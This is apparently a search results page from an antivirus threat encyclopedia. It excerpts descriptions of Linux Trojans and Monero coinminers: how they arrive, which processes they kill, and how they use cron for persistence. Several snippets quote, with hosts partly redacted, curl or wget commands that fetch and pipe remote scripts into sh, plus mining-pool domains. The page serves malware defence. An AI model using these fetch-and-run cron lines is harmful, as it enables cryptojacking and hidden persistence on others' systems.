Search
Keyword: usojan.sh.malxmr.uwejt
1049 Total Search |
Showing Results : 1 - 20
/tmp/.vd/sslm.tgz min* {Current Directory}/min* /tmp/min* Process Termination This Trojan terminates the following processes if found running in the affected system's memory: rand rx rd tsm tsm2 haiduc a sparky sh
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. It may be downloaded by other malware/grayware from
-O - http://{BLOCKED}.{BLOCKED}.146.118 /unk.sh | sh > /dev/null 2>&1 Trojan:Linux/Shmusho!MSR(MICROSOFT)
This Trojan may be downloaded by other malware/grayware from remote sites. It deletes itself after execution. Arrival Details This Trojan may be downloaded by the following malware/grayware from
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. Arrival Details This Trojan arrives on a system as a
persistence: Path: /var/spool/cron/crontabs/ Schedule: Every 30 minutes Command: */30 * * * * sh /etc/newsvc.sh >/dev/null 2>&1 Disables Firewall Deletes the following user accounts: akay vfinder Stops
/usr/bin/crontab /var/spool/cron/{user} crontab content: */10 * * * * sh (/etc/update.sh or /tmp/update.sh) >/dev/null 2>&1 disables SELINUX Clear PageCaches Renames the following files: /usr/bin/wgen to
}/config.json It creates the following cron job to enable automatic execution of update.sh: Path: '/var/spool/cron/crontabs/'"$USER" Schedule: Every 30 minutes Command: */30 * * * * sh {directory}/update.sh
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. Arrival Details This Trojan arrives on a system as a
This Trojan may be downloaded by other malware/grayware from remote sites. It requires its main component to successfully perform its intended routine. It deletes itself after execution. Arrival
/var/spool/cron/root Content: */12 * * * * curl -fsSL http://w.{BLOCKED}i.xyz:43768/crontab.sh | sh mine.moneropool.com xmr.crypto-pool.fr monerohash.com xmrpool.eu pool.noobxmr.com pool.minexmr.cn xmr.poolto.be
* * * * curl -fsSL http://w.{BLOCKED}i.xyz:43768/crontab.sh | sh It blocks all outgoing SSH connections on the following ports: 3333 5555 7777 9999 14444 It modifies the system's HOSTS files to prevent users
This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. Arrival Details This Coinminer arrives on a system as
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. Arrival Details This Trojan arrives on a system as a
This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. However, as of this writing, the said sites are
This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. However, as of this writing, the said sites are
This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. However, as of this writing, the said sites are
following cron jobs for persistence: Path: /var/spool/con/crontabs/root Schedule: Every minute Command: wget -q -O - http://{BLOCKED}.{BLOCKED}.169.247/cr2.sh | sh > /dev/null 2>&1
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. Arrival Details This Trojan arrives on a system as a
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. It deletes itself after execution. Arrival Details This